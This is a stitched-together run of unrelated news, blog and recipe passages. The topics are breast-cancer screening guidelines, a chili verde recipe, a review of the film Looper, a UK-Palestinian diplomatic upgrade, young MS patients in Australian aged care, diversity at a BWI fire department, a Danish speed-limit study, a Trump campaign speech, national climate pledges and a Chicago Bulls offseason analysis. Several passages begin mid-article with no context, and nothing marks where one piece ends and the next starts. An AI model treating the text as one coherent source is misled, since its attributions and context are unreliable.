The organization has been recommending mammograms and breast exams every year for women 40 years of age or older since 2003, but now it recommends women start having them at age 45, according to new guidelines published Tuesday in the Journal of the American Medical Association. Women between 45 and 54 years old should be screened annually, but at age 55 they should begin having mammograms every other year, the report says.
The society also clarified that it doesn’t recommend regular clinical breast exams at all, the kind where doctors physically feel for lumps, unless a woman is experiencing unusual breast symptoms. However, it also notes that women should, of course, “have the opportunity” to be screened earlier if they wish. The study is also careful to mention that these recommendations only apply to women with an average risk of breast cancer, not to anyone with a history of the disease.
The reason for the changes, the Times reports, is that mammography is imperfect and often to leads to false-positive results and expensive, nerve-racking additional testing — especially in younger women.
But the new guidelines might be confusing to women who have always thought earlier exams were necessary for earlier detection of the cancer. After all, the American College of Obstetricians and Gynecologists recommends women have mammograms starting at age 40 and clinical breast exams at 19. The American College of Radiology and the Society of Breast Imaging also recommend starting mammograms at age 40. The United States Preventive Services Task Force recommends starting routine screenings even later, at age 50, saying the decision to start earlier “should be an individual one.”
An official at the National Breast Cancer Coalition told NPR, “I think all the American Cancer Society has done is really add to the confusion without helping women make an informed decision.”
Meat simmered in a chile based sauce? Of course it’s chili. It is just…different.
Chili Verde, or Green pork chili, is a staple of the Southwest. Once you leave Texas and its dried ancho based chiles, you get into long green chili territory. The most famous long green is the Hatch chili of New Mexico, which is the start of Chili Verde territory, but Chili Verde stretches north to Colorado, and west through Arizona and in to California.
I’m sharing two different versions of the Salsa Verde recipe – one is the real deal, with home-roasted chiles. If I can get New Mexico or Anaheim long green chiles (and fresh tomatillos), I use them – the results are fantastic.
At least, that’s what I do in the summer. For all my talk of the Southwest, I only get to visit; I live in Ohio. In the winter, long green chiles are hard to come by – and ridiculously expensive when you can find them. That’s when I have to improvise, and canned green chiles and jarred tomato salsa have to be good enough for my Salsa Verde.
Recipe: Pressure Cooker Chili Verde (Green Pork Chili)
Equipment
6 quart or larger Pressure Cooker (I love my Instant Pot electric PC)
Pressure Cooker Chili Verde (Green Pork Chili) ★★★★★ 5 from 20 reviews Author: Mike Vrobel
Prep Time: Prep Time: 20 minutes
Cook Time: Cook Time: 1 hour
Total Time: Total Time: 1 hour 20 minutes
Yield: Yield: 8-12
Category: Category: Pressure Cooker
Cuisine: Cuisine: American Print Recipe Pin Recipe Description Pressure Cooker Chili Verde (Green Pork Chili) recipe – green pork chili from the great American Southwest, sped up using the pressure cooker. Ingredients Homemade Salsa Verde 1 pound tomatillos, husked and rinsed
2 pounds Anaheim chiles, halved, stemmed and seeded (or New Mexico chiles)
2 jalapeño peppers, halved and stemmed
1/2 cup cilantro leaves and stems
1 teaspoon Diamond Crystal kosher salt Quick Salsa Verde (from cans) 27 ounces mild fire roasted diced green peppers (one 28 ounce can, or 6 (4-ounce) cans)
16 ounce jar tomatillo salsa or salsa verde Chili 4 pounds pork shoulder, cut into 11/2 inch cubes (trim off as much fat as possible)
2 teaspoons Diamond Crystal Kosher salt
1 tablespoon vegetable oil
1 large onion, diced
1/2 teaspoon Kosher salt
4 cloves garlic, crushed
1 tablespoon ground cumin
1 tablespoon ground coriander
1 tablespoon dried oregano (preferably Mexican oregano)
1 cup chicken stock (preferably homemade) or water
Juice of 1 lime
Salt and pepper Instructions Option 1: Homemade Salsa Verde: Spread the tomatillos, anaheim chiles, and jalapeno peppers skin side up on a rimmed baking sheet. Put the baking sheet 6 inches below a broiler set to high, and broil until the tomatillos and peppers are blackened in spots, about 5 minutes. Flip the tomatillos and broil until the tomatillos are browned on the other side and the skins of the peppers are blackened all over, about another five minutes. Remove the baking sheet from the oven and let the peppers cool for a few minutes, then peel the blackened skin from the peppers and discard. (A little leftover blackened skin is fine.) Pour the contents of the baking sheet into a blender or food processor, including as much of the liquid as possible. Add the cilantro and the teaspoon of Kosher salt, then blend until smooth, about 30 seconds. Option 2: Quick Salsa Verde: Mix the canned diced chiles and tomatillo salsa in a medium bowl. Brown the pork: Sprinkle the pork with the 2 teaspoons kosher salt. Heat the oil in the pressure cooker pot over medium-high heat until shimmering. (Saute mode in an electric PC). Brown the pork in two to three batches – put pork cubes in the pot without crowding, and brown each batch of pork on one side, about 4 minutes. Transfer the pork to a bowl with a slotted spoon, leaving as much fat behind as possible. Saute the aromatics and toast the spices: There will be extra fat in the pot from the pork; pour out the fat to get down to 1 tablespoon. Add the onions to the pot and sprinkle with the 1/2 teaspoon of kosher salt. Saute the onions until softened and starting to brown around the edges, about 5 minutes, scraping often to release any browned pork bits from the bottom of the pot. Make a hole in the middle of the onions and add the garlic, cumin, coriander, and oregano. Cook until you smell the garlic and spices, about one minute, then stir into the onions. Pressure cook the chili: Stir the chicken stock, salsa verde, pork, and any pork juices in the bowl into the pot. Lock the lid and cook at high pressure for 30 minutes in an electric PC (manual mode is high pressure in an Instant Pot PC), or 25 minutes in a stovetop PC. Let the pressure come down naturally, about 20 minutes. Serve the chili: Stir in the lime juice. Taste and add more salt and pepper if it needs it. (Homemade salsa verde will need more salt; the quick version from cans probably does not – canned ingredients already have a lot of salt. Go by taste; If the chili tastes flat, it needs more salt.) Serve. Notes Why brown only one side of the pork? I find it the best compromise between flavor and speed. Browning one side of the pork gives me the browned bits on the bottom of the pan that build flavor in a chili; browning only one side means I don’t spend forever browning pork.br][br]Like beans in chili? Serve with [Pressure Cooker Pinto Beans and stir in as much as you want. (In the Southwest, beans are a condiment, added in as needed.)
What do you think?
Questions? Other ideas? Leave them in the comments section below.
Related Posts
My Top 5 Pressure Cooker Chilies
Pressure Cooker Texas Red Chili
Slow Cooker Chili Verde
My other Pressure Cooker Recipes
Having opened with that pretentious, malformed thought, let me state immediately that Looper is neither pretentious nor malformed. After seeing it at a midnight screening last night at the Arclight Hollywood, I have to say that director Rian Johnson is now firmly one of my favorite American directors, far more so that either P.T. Anderson or Tarantino, both of whom I do find borderline, if not outright, pretentious. It’s rare that I come out of a theater muttering “bastard,” seething with resentment for someone’s talent not just as a director, but as a superlative writer about whose script this seasoned writer could find no flaw in terms of dialogue and execution (I’ll talk about plot holes in a bit). I fully understand that I am committing a sin of great blasphemy right now, and I’ll no doubt be downvoted on Reddit by scores of irate fanboys, but Tarantino never leaves me wishing I’d written his distracting verbal pyrotechnics. If elegance is refusal, as Diana Vreeland once said, then Tarantino is a slovenly pig, whereas Johnson is nothing short of Mies van der Rohe.
It’s all for the best, then, that just before the film began at the Arclight last night, Johnson himself made an appearance, pretending to be the usher who introduces each film at that theater, never once mentioning that he was really the director. He spoke the entire usher monologue, which goes something like, “I shall be checking in from time to time to make sure the projection is up to Arclight standards… if you have a problem, please see me or someone dressed like me outside the theater.” With a hall full of die-hard, hard-to-please movie geeks for a midnight performance, it went a long way to warm the anticipation everyone was feeling, which often sets a film up for disaster with a crowd like that.
I don’t remember the last time I heard a applause after a movie at any screening at the Arclight that wasn’t a festival or a premiere, especially with A Crowd Like That. They certainly didn’t applaud after the opening of The Master two weeks ago; on the contrary, you could feel the disappointment hissing out of the room like a punctured truck tire. 70 millimeter wasted on that? seemed to be the general thought. Indeed, P.T. Anderson could learn something from Johnson’s usheresque humility on every level of the filmmaking process.
And applaud we did last night… yes, we, meaning me right along with my fellow geeks.
It isn’t necessary to see the first film Johnson made with Joseph Gordon-Levitt, Brick (2005), but it certainly helps if you’d like to see a bona fide auteur writer-director’s progression. True, both Brick and Looper are laced with references to filmmakers and genres that have come before, but that can be said of all language in general; it is up to the auteur to develop a distinctive style of his own, not reinvent the medium altogether. I thought Brick was clever and entertaining, and, yes, I once again came out of the theater jealous of Johnson’s skill, especially for someone so young creating his first feature by the seat of his pants and the heat of his passion and the uncompromising conviction in the rightness of his vision.
The first third of Looper is about what the trailer spells out: a mob hit man, played by Joseph Gordon-Levitt, whacks people from the future, who are sent back in time for that purpose. When it comes time to “close the loop” on his own future self (Bruce Willis)—as must happen to all Loopers eventually—something goes wrong and mayhem breaks loose.
As I mentioned, there are holes in the plot, considerable logistical issues, but all stories in this sub-genre are sieves that way—you are never going to plug up all the holes; others will just keep reappearing, as many as there are possible outcomes to the story. The best you can hope for with the time-traveling piece is to create something so entertaining that only the nitpickiest of geeks is going to troll for inconsistencies and find them showstoppers. Most people are going to sit back and enjoy it as pure mind-fuck fun and ignore the narrative bumps.
Johnson glosses over many of the most glaring tears in the narrative by having Willis say that time travel fucks with his memory, makes everything cloudy, which excuses hiccups in his actions, or more often inactions. It’s a good little speech, and it’s delivered in the freakiest moment of the film, when Willis and Joseph Gordon-Levitt are sitting opposite each other in a diner, and you go, “Holy shit, Joe is totally killing this as Willis,” and you can hear them at the podium at the end of February announcing the winner for Best Makeup, and it’s going to be for Looper, and for the first time you start to wonder if Joe himself might not be nominated. Yes, he is that good, and it is such fun to watch him be that good.
If you think about it, Willis must be a bitch to imitate. We’re not talking about Arnold Schwarzenegger here, who has distinctive mnemonics in his accent and characteristics that a mimic can hit and thereby pull off a plausible impersonation. In Looper more than anywhere, you realize that Willis never does much of anything but squint his eyes and smile on occasion, most times wryly. Otherwise, he’s like the man in the iron mask, which must be doubly difficult for Joe, whose acting style relies on frustrated-puppy expressions and emoting through his eyebrows.
Whether Joe will be nominated for an Oscar is a call I would rather not make this early on; in this instance, I need to see how a movie performs to factor that into whether the Academy will consider him. I also need to see the other contenders. Let’s just say that Joe so completely disappears into the role that after the first ten minutes you stop marveling at how good he is as a younger Willis and just assume that he is a younger Willis, and this is some new CG technology they’ve invented to take thirty years off an actor’s life.
That was one of the intellectual points I found most intriguing as a middle-aged man who is writing a series of articles entitled Letters to My Younger Self. I’ve never met anyone who wouldn’t go back and correct the past to some degree, if he had the knowledge he has now; otherwise, he wouldn’t repeat youth for all the money in the world. I’ve found this syndrome so prevalent among my peers that I was sure there must be a name for it, but all I’m finding online is “Glory Day Syndrome,” coined by some quack self-help guru, which is about constantly reliving your perceived glory days. I only have one friend like that. It’s sad because no amount of correcting her narrative of the past—which she has painted as idyllic and, yes, glorious, when in fact was rather dark and depressing—will make her see things the way they really happened. I’ve learned to let her be with her delusions; they make her so much happier.
In the case of Looper, it’s about correcting the past to improve the future, which is the reason I would go back and choose different directions. However, like my glory-day friend, I am selective about which events and deeds I would play out differently; I try not to imagine their consequences with too much detail because that would make the whole exercise futile.
Take for instance all the years I spent in India. Had I not gone there, had I done the “right thing,” and stayed in film school, and moved in the opposite direction, to Hollywood instead of the time-waster that was Bollywood, I would be in very different circumstances now. But my sister would never have met my Indian roommate in Delhi, and my nieces would never have been born. So: career or family? For someone who doesn’t have a job so much as a vocation he loves more than anything, that’s a tough question. Luckily, it is entirely hypothetical, a fantasy, unless you believe in parallel universes, in which case I sincerely hope that in another reality I have that house in the Hills with the cantilevered vanishing-edge pool.
In some ways, Looper includes elements from past Bruce Willis films, notably Sixth Sense for its twists and surprises, and Terry Gilliam’s Twelve Monkeys for the time-travel mind fuckery. But Looper has none of Gilliam’s relentless, distracting, wide-angle close-up goofiness. This film is earnest, while at the same time not so serious that it doesn’t deliver some genuinely witty moments, and you reward that earnestness by buying into the implausible reality and overlooking the gaping plot holes.
Supporting performances by Jeff Daniels, who is killing it with the late-life career between this and The Newsroom, and Emily Blunt are another testament to Johnson’s skills as a director; he has extracted the finest both actors can achieve within the limited emotional parameters of a thriller, which is saying a lot. There is a third character I cannot mention here without spoilers, who is both a natural and again superbly directed.
Indeed, the reason the trailer is so confounding is it makes little reference to the remaining two thirds of the film, and anyone who has seen Looper should keep it that way for those who haven’t. As I said about it in a preview of fall films that I published a little while back:
It doesn’t look like Looper is any less clever than Brick; it no doubt puts a fresh spin on the time-travel assassin piece we’ve all grown so weary of. (Not.) It looks complicated and convoluted; beyond the premise set up in the first minute of the trailer, I have no idea what’s going on, what could possibly happen. And, yes, that is refreshing and well worth the price of admission.
That last bit is important: it is films like this that really make you understand what a waste of money most of the others are.
Looper is beautifully crafted on all levels, I cannot recommend it highly enough. If it weren’t for the inevitable plot holes, I would give it a Bravo, but this is rather like my giving a gymnast nine out of ten when she appears to have executed a clever, convoluted routine flawlessly, based on a technicality that few others will notice.
Although the move would be symbolic rather than practical, it is being contemplated at a sensitive time because of deepening Israeli unease over Palestinian efforts to achieve international recognition ahead of negotiations or peace agreement.
Those efforts have gathered momentum in the wake of the United States' decision earlier this month to abandon efforts to persuade Israeli Prime Minister Benjamin Netanyahu to renew a moratorium on settlement-building in return for resuming direct negotiations between the two sides. Palestinian President Mahmoud Abbas insisted that he would not take part in such talks without a settlement freeze.
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Ecuador last week became the latest of a series of Latin American countries – including Brazil and Argentina – to confer recognition of a Palestinian state within the borders that existed before the 1967 Six Day War. Israel regards such moves – which themselves have little practical significance – as helping to delude the Palestinian leadership into thinking it may be able to achieve a state without direct negotiations.
The British Government has no intention of following the Latin American example. Its upgrade to the Palestinian diplomatic presence comes after similar moves by France, Spain and Portugal since the summer. In July, the US upgraded the status of the Palestinian representation in Washington – though only up to "general delegation" level, which has long prevailed in most European countries, including Britain.
Although Israel did not formally protest any of these moves, it reacted sharply to the more recent decision of Norway to upgrade the Palestinian representative in Oslo earlier this month. The Norwegian chargé d'affairs was summoned for a "conversation" at the Foreign Ministry, despite making it clear that the move did not constitute recognition of a Palestinian state.
The move would have no practical impact on the day-to-day working of the Palestinian representative in London – currently Professor Manuel Hassassian. But it would probably allow the delegation to call itself a "mission", and would confer an automatic right of future representatives to call on the Foreign Secretary after their first arrival in the country.
But while the French upgrade provides for the Palestinian representative – officially of the Palestinian Liberation Organisation – to present his credentials to the President, the British move would not confer an equivalent right, enjoyed by ambassadors of actual states, to present credentials to the Queen.
Like the French decision, the British move would flow largely from a recognition that the Palestinian Cabinet, under the premiership of Salam Fayyad, has made considerable strides in public service and security reform as part of his two-year plan to prepare for a Palestinian state, and not from the recent impasse in negotiations.
When the French foreign minister Bernard Kouchner announced the upgrade in July, he went out of his way to point out that the Palestinians had "reorganised their administrations, made their public finances transparent, and have achieved unquestionable results with respect to security and respect for the rule of law".
Saying that France supported the creation of the "institutions of a future state", Mr Kouchner said it was "timely" to upgrade the Palestinian general delegation. The timing of any British move has been complicated by the heightened diplomatic atmosphere after the stalling of talks. Haaretz newspaper reported last week that the director general of the Foreign Ministry, Rafael Barak, sent a cable to its embassies, alerting them to a diplomatic effort by the Palestinians, driven by the lack of progress in the peace process: seeking a UN resolution condemning settlements; winning international recognition of a Palestinian state based on 1967 borders; and seeking upgrades in diplomatic representation in Europe and elsewhere.
* A prominent left-wing Israeli activist Jonathan Pollak was sentenced to jail for three months and fined 1,500 shekels (£273) yesterday for taking part in a 2008 bicycle protest against the blockade of Gaza. The Association of Civil Rights in Israel said the sentence was an "extreme punishment" and raised suspicion that Pollak was "targeted to silence him and prevent him from partaking in acts of protest".
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Everyone around you is half a century older. At 4.30pm each day you are served a mushy dinner. You feel institutionalised. You feel decades older than you are.
It’s the story of more than 1000 young people across Australia today, the inconvenient generation who have been unceremoniously dumped in nursing homes because there is nowhere else for them to go. They are too sick to be at home, and not sick enough to take up a hospital bed.
Katy Skene was one of them. She spent 15 months in an aged care home at the age of 33.
“It was like the lights went out on my life. I lost my confidence. I lost the will to do anything,” she told news.com.au.
Katy had been diagnosed with multiple sclerosis at 19, but her symptoms were mild enough for her to finish her early childhood degree at the University of Melbourne and become a kindergarten teacher. It was only after she had worked in her dream job for ten years that doctors were forced to operate to remove her bladder.
After three months in hospital, she was too sick to go home but using up a bed. One day, a social worker came to tell her she was being put in an old people’s home.
“I froze,” she said. “I was s**t scared. They tried to make me feel grateful. My grandparents weren’t even in aged care.
“To me, that’s when life ended. I was going to be forgotten about.”
Just a few months earlier, Katy had been out clubbing every weekend and enjoying her teaching career. Now she found herself stuck in a grey, clinical world with people who spent their days playing bingo and having singalongs on the piano.
“The nurse pulled down the covers and said, ‘oh, we’ve got a pretty one here,’” she said. “I was devastated. The older people there saw me as a novelty.”
Infantilised and isolated aside from visits from her parents, Katy’s confidence ebbed away to the point where she barely left her room. She befriended Judy, one of the youngest people in the home at 60, and they would watch the footy together. They remained friends even after Katy got out, until Judy recently died.
“I had a shower every other day, sometimes bumped to the third day. If I wanted to wash my hair, it was a hassle.
“I would hear the piano from my room and it would make me cry, because that was all they did, or play bingo, old person stuff, which was great for them.
“I shared a room with a lady who had dementia, she’d cry out all the time in her own language.
“My family were wonderful. If not for them, I would have gone under. My mindset was so bad I felt like I was being punished.”
Katy had given up hope when a social worker told her a space had come up for her in supported housing. But at 34, she was so institutionalised she hardly knew what to do with her new-found independence in Williamstown, Victoria.
She had lost her friends, she didn’t go out and even the idea of having a choice of what to eat each day was confounding. It took some hard work with physical and occupational therapists and the youthful community she is now a part of for her to readjust to normal life.
It was her friend Jason who gently showed her how to go out for coffee, took her to football and helped her re-enter the real world. Now 40, she is “100 per cent” healthier than she ever was during her time in the nursing home, volunteers at a kindergarten one day a week and is an ambassador for the upcoming MS Walk and Fun Run in Sydney, Canberra and Melbourne. She and Jason have been a couple for the past 19 months.
“He opened the doors on my life,” she said. “Life is dramatically different. Whereas there I never when out, now I’m never home.”
Just talking about that terrible time makes Katy shudder, she told news.com.au. “I’m freezing on the inside, I’m cringing,” she said. “I don’t like talking about it but I will do it to raise awareness. It’s Australia’s dirty little secret.
“I look at my 33-year-old self and I just cry for her.”
TIM FERGUSON: HELP END THE HELL CAMPAIGN HELPS OTHER MS SUFFERERS OUT OF AGED CARE
The new class of firefighters, which started on the job last month, is composed of nine white men, airport spokesman Jonathan Dean confirmed. With their arrival, the Maryland Aviation Administration’s 89-person fire and rescue department became 26 percent minority and women, and 13 percent African-American, he said.
Officials with the International Association of Black Professional Fire Fighters and the National Association for the Advancement of Colored People say African-Americans, Hispanics and women are underrepresented.
“The concern is the fact that there’s a large segment of the Baltimore community that has been denied the opportunity of employment,” said James Hill, president of the black firefighters association.
“It all comes back to diversity,” said Gerald Stansbury, president of the Maryland State Conference of the NAACP. “The NAACP is concerned because here we are in 2014, and we’re still not able to provide a diverse force over at BWI.”
Dean said the aviation administration has a “commitment to fair and equal employment” and is “taking steps to help ensure more diverse candidates” are considered when new hires are selected.
{snip}
However, the airport needed to hire quickly for the most recent class, given recent vacancies, and the most qualified candidates were the nine men selected, Dean said.
“Most of them had significant airport firefighting experience and all of them had extensive firefighting experience,” Dean said.
The complaints about the new class dial back enthusiasm the association and the NAACP expressed at the end of last year, when Gregory Lawrence, an official with the black firefighters association, was named acting chief of the airport fire and rescue department—the first African-American to hold the position.
{snip}
Lawrence, named to the acting role at BWI in November, had helped to lead criticism months prior of a mostly white recruit class at the Anne Arundel County Fire Department–an uproar that led to the unveiling of a new diversity plan for that department.
{snip}
Carl Snowden, a member of the local Caucus of African American Leaders and the legal redress chairman of the county NAACP branch, said while the airport was named after civil rights pioneer and Supreme Court Justice Thurgood Marshall in 2005, its fire department has not lived up to Marshall’s legacy.
“We just found it incredible that this would be happening, particularly at an airport that is named after Thurgood Marshall,” Snowden said. “It’s just unacceptable.”
Dean said the airport’s fire department is looking at diversity initiatives and best practices nationwide that will inform the next recruitment.
{snip}
Original Article
The study, carried out over two years by the Danish Road Directorate, looked at how driver behaviour and accident rates changed when speed limits were raised on single-carriageway rural roads and motorways.
One of the key findings was that after raising limits on two-way rural roads from 50mph to 56mph, accidents fell, due to a drop in the speed differential between the fastest and the slowest drivers, resulting in less overtaking.
While the slowest drivers increased speeds, the fastest 15 per cent were found to be driving 1mph slower on average.
On sections of motorways where the limit was raised from 68mph to 80mph nine years ago, fatalaties also fell.
A spokesman for the Alliance of British Drivers told us: “The research would seem to suggest that we are going the wrong way in the UK. This has proven that deaths and accidents have fallen despite limits increasing.”
A Transport Research Laboratory (TRL) spokesman said the research raised interesting questions. “A key element isn’t just the risk of the crash that is proportional to travelling speed for a given road, but the risk of injury should a collision occur.”
“We would be interested to see how the Danish study has handled confounding factors. This would all influence the applicability of this scheme to other countries or road networks," he added.
“There is only one way to end the corruption in our country: elect Donald J. Trump,” the Republican nominee declared. “Hillary Clinton thinks she is above the law. Come November, the American people will show her that she is not. You will be voting for justice, fairness, and equality.”
Trump also commented on a report from the Associated Press that was published earlier on Tuesday, revealing that when she was secretary of state, more than half of Clinton’s meetings with non-government officials were with Clinton Foundation donors. According to the AP:
Today a phone log was released for Cheryl Mills. She was Secretary of State Clinton’s Chief of Staff. You would expect the log to contain only calls concerning Department of State business. But Cheryl Mills received 148 messages between 2010 and 2012 from the Chief Operating Officer of the Clinton Foundation – no other individual or group appears to have left that many messages. We also just learned today that more than half the people who met with Hillary Clinton from outside government while she was Secretary of State were donors to the Foundation.
The New Yorker went on to detail what he believes is evidence of a pay to play scheme at the Clinton Foundation and Clinton’s state department:
The UBS saga is another one. Shortly after Hillary Clinton became Secretary of State she went to Geneva and intervened in a dispute concerning secret identities of Americans. She negotiated a very good deal for UBS and a very bad deal for law enforcement. Of the 52,000 accounts the U.S. was seeking, the government settled for only 4,450 accounts. Her intervention was described by Treasury as unusual. Before her unusual intervention UBS had donated only $60,000 to the Foundation. After the Clinton favor for UBS, it opened its wallet for big bucks and out came a $600,000 contribution, a $32 million loan and a $1.5 million speaking fee for Bill Clinton.
LONDON, 16 November, 2015 – An African country whose people are among the poorest on Earth has won plaudits from US scientists for its clear and detailed plans to reduce climate-warming emissions from its forests and farms.
The strategy of the Democratic Republic of the Congo (DRC) – rated next to bottom of the 187 countries on the UN’s Human Development Index in 2013 – is described as “robust” by the US-based Union of Concerned Scientists (UCS).
They also rate it as better than those produced by three other more prosperous countries struggling to combat deforestation − Brazil, India and Indonesia.
The UCS analysed the intentions of several countries for limiting global warming emissions in the agriculture, forestry and other land use (AFOLU) sectors as outlined in their Intended Nationally Determined Contributions (INDCs) – action plans submitted to the UN climate change convention (UNFCCC) explaining how they will reduce their emissions in the 2020s.
Deforestation hotspots
In a report called “INDCs, Take 3” − the final section of a three-part series UCS has released − the scientists say the INDCs from Brazil, India and Indonesia are disappointing, despite their status as deforestation hotspots.
In contrast, they say, the DRC’s plan is robust and in line with a trend that sees smaller countries doing more to reduce their land use emissions than more populated countries.
Doug Boucher, the report’s author and director of the Tropical Forest and Climate Initiative at UCS, says: “The land use sector, which accounts for about one-fourth of total global warming emissions, can’t be ignored if we want to solve the problem of climate change.
“The climate mitigation potential of agriculture and forests is great, and needs to be fully realised to prevent the worst consequences of climate change that will occur if global temperatures rise by more than 2°C.”
In its INDC, Brazil says it will reduce its overall carbon emissions by 37% by 2025, with or without international financing.
But, the UCS says, this does not include the country’s AFOLU emissions. It says its greatest concern is the “inadequate” Brazilian pledge to eliminate only illegal deforestation in the Amazon, rather than limiting all forms of deforestation across the entire country.
Indonesia’s INDC is also problematic, the UCS says. About 63% of Indonesia’s global warming emissions [https://climatenewsnetwork.net/mangroves-hold-key-to-indonesias-emissions-cuts/] come from the AFOLU sectors, mostly because of deforestation for large-scale agriculture.
The report says it is therefore worrying that Indonesia’s INDC – which proposes a 29% emissions reduction by 2030 compared with business-as-usual, or 41% if it receives international financing – fails to suggest a goal for ending deforestation or peatland clearing.
“I’m hopeful that the developed world will respond to the DRC’s plans
by providing them with the resources necessary to fulfil them”
“Indonesia currently has a moratorium on clearing primary forests and also banned peatland clearing in 2010,” Boucher says. “But the plan doesn’t say whether these commitments will continue, let alone what sort of new initiatives will be implemented to achieve their overall emissions reduction goal.”
Unlike the other countries examined, India is already planting more trees than it is felling. Its INDC lists an overall goal of reducing global warming emissions by 33%-35% by 2030. But the analysis says it “lacks the clarity necessary to effectively gauge India’s ambition, especially with regard to the AFOLU sectors”.
Of the four countries examined, the UCS says, the proposals by the DRC − home to the largest area of the Congo Basin rainforest − were the most clearly defined.
The country offers a 17% carbon emissions reduction by 2030 compared with business-as-usual, and gives a breakdown of how much of this will come from each sector and to what extent each goal depends on international help.
Clearer detail
“The DRC’s plan is clearer and includes more quantitative detail than plans submitted by far richer nations,” Boucher says. “And their proposed reductions are in line with the amount of emissions they can and should cut, based on the extent to which their emissions have contributed to climate change.”
He told Climate News Network: “The governance challenges that the DRC faces in implementing the plans it has presented are enormous. But recent years have actually seen some steps forward among the Congo Basin countries, including reducing an already low rate of deforestation and improving forest monitoring and management.
“So I’m hopeful that the developed world will respond to the DRC’s plans by providing them with the resources necessary to fulfil them.”
The four countries examined in the analysis, together with China, the European Union, Mexico and the US, make up 57% of all land use sector emissions.
If Thibodeau was going out, he was going out his way: playing big, defense-first lineups made up of trusted veterans. And yet you laughed in part because, hell, it just might work. These Bulls never stop grinding. How many times have we seen Chicago, with zero spacing and an offense nearly eligible for antique status, ratchet up their revolutionary defense to ludicrous speed for some last-gasp 12-0 run? Opponents suffocate, Noah roars, some random jumpers find the bottom of the net, and the Chicago crowd rejoices in their peculiar bunch.
But it didn’t work this time — it never has against LeBron James in the playoffs — and the Bulls now step into an offseason that promises both hot melodrama and the cold reality that Chicago may be stuck with this not-quite-good-enough roster.
The principals have pooh-poohed the alleged rift between Thibodeau and the front office, but every sentient human close to those principals chuckles at those public pronouncements. The rift is very real, and people close to Thibodeau have been assuming for months that his time in Chicago would end after this season. The Bulls will try to trade Thibodeau before firing him or negotiating a buyout for some of the $9 million left on the contract extension he weirdly left unsigned for months. Thibodeau isn’t going to quit with that much cash on the table. He can bide his time with two nice fallback options: returning for another slog with the Bulls or going home with his pockets full.
Orlando and especially New Orleans present intriguing trade options for Chicago, though neither should surrender a first-round pick for a coach. Thibodeau wants to chase titles, and Anthony Davis gives him the best chance to do that over the next half-decade. Davis will be the best player in the league very soon, a pterodactyl on wheels who would grow into Thibodeau’s best individual defender since peak Kevin Garnett in Boston. Davis has already worked with Thibodeau on Team USA, and Monty Williams this season dialed back New Orleans’s pick-and-roll schemes to line up with what Thibodeau runs.
The Pelicans’ defense was still a disaster, but slot Thibodeau there next season, and I’d bet good money on New Orleans making the biggest leap up the defensive efficiency rankings. The Pellies’ perimeter defense was leaky all season, but Thibodeau imposes a rigid order that smooths away a lot of mistakes that happen when players veer outside their lanes. Thibodeau’s teams don’t allow corner 3s, they force pick-and-roll ball handlers away from screens, they don’t foul, and they (usually) clean the defensive glass. If you don’t do those things every single damn time, you don’t play. And if you don’t understand them at first, don’t worry: Thibs will work you through the longest practices and shootarounds in the league until you get it. Even the players who respect Thibs concede that it can be drudgery to play for him.
Orlando has a lot of young guys who should develop into plus defenders, but they don’t have a star, and their ugly parting with Stan Van Gundy — a close friend of Thibodeau’s — surely colors the way Thibodeau views the franchise. The Magic also just gave Rob Hennigan, their GM, a contract extension, and after his rocky relationship with Chicago’s front office, Thibodeau might crave a larger role in personnel decisions. He has the clout now to at least push for that kind of power in contract talks.
Waiting a year, either in Chicago or as a coaching free agent, also carries one big benefit: the possibility of the Lakers job opening once Byron Scott’s placeholder timetable expires and the Lakers are (theoretically) ready to get good again.
As for the Bulls, they’ll be fine going forward, but “fine” feels like such a disappointment for a team that looked set as a long-term Eastern Conference juggernaut in 2011. The Bulls won 50 games this season with a semi-healthy Derrick Rose, and if Joakim Noah’s knee feels better after an offseason of rest, perhaps they can reach 55 again in the NBA’s minor league. And if you can hit around that mark every season, you give yourself a chance to find the right combination of health, luck, fringe roster moves, and favorable postseason matchups to make a title run. The Mavs were “soft” until they broke through in 2011. It was popular to call for the Clippers to “blow it up” — until they outlasted the Spurs and surged within a game of the conference finals.
But Chicago just never seems to get enough of those breaks, and the Bulls don’t have the star power of those L.A. teams. Rose is always hurt, he’s now missing some meniscus cartilage in one knee, and he still just isn’t close to the same player he was before tearing his ACL. Noah’s body is betraying him, Taj Gibson is about to turn 30, Pau Gasol’s clock is ticking, and Mike Dunleavy is a free agent.
This is the NBA’s great “if only” team, but too many of the things Chicago needs to go right just feel improbable now.
Upgrading this team will be difficult, and perhaps impossible, absent big improvements from Snell and Doug McDermott. Jimmy Butler, Chicago’s best all-around player, is a lock to get a maximum contract starting at about $15.8 million next season. Chicago can match any offer for him, and given how the cap is going to soar, the Bulls should just break the bank and plop the full five-year max in front of Butler the minute free agency opens. Don’t mess around here. Don’t let Butler “test the market” and sign the four-year max deals other teams can offer just because matching that deal saves you some scratch.
Going that route opens the door to lots of bad stuff. Butler could sign a Chandler Parsons–style two-year deal with a player option in the third year — a deal that would be disallowed under league rules if the Bulls preempt it with that fat five-year offer. The Bulls could match that, but ask Minnesota how smart it is to voluntarily reduce the time you have with your best player. Butler could even get annoyed, sign a one-year qualifying offer from the Bulls, and hit unrestricted free agency in the summer of 2016 — when his max deal would start at just over $21 million, per league cap projections. That’s a risk for Butler, who battled injuries in the 2013-14 season, but so was declining the Bulls’ four-year, $40 million–ish extension offer in the fall. Just lock the dude up. He’s an elite defender at both wing positions, and a cold-blooded shotmaker who draws fouls at a Hardenesque level when he gets to run the show. Restricted free agency scares off some teams — the Lakers hate it — but there are enough teams with cap room and nothing to lose this summer.
Unfortunately, re-signing Butler at the max would bring Chicago’s payroll just shy of $80 million for 11 players — right below the luxury tax line set at $81.6 million. That doesn’t include a dime for Dunleavy, a crucial player here; a new Annual Little Guy Point Guard to replace Aaron Brooks; or minimum contracts to fill out the roster. Forget about using the full midlevel exception, or even the smaller one for tax teams, to snag another key veteran. Just bringing Dunleavy back at market value would send Chicago well into the tax. The Bulls paid the tax for the first time two seasons ago, but that doesn’t mean they want to do it again.
Trading one of Chicago’s four core frontcourt players for a wing would be the best way to unclutter the roster and open up at least the mini midlevel exception. All four guys deserve major minutes, and a team just doesn’t need four bigs who require that kind of time — especially when none of them can slide into the small-forward spot. Thibodeau tried that with Mirotic, but it’s a waste of his skill set, and he struggles at times to defend wing players — especially when teams put him in the pick-and-roll, as Cleveland did when Mirotic was guarding Iman Shumpert.
Gibson is the likeliest trade candidate, though there is some intrigue around the league about Noah on an expiring contract. Executives are curious: Is Noah forever diminished, or can we rehabilitate him? But Noah is so central to Chicago’s culture that the Bulls may be reluctant to move him. He is their soul. Then again, people said that about Luol Deng, and when the Bulls found a killer trade, they didn’t hesitate.
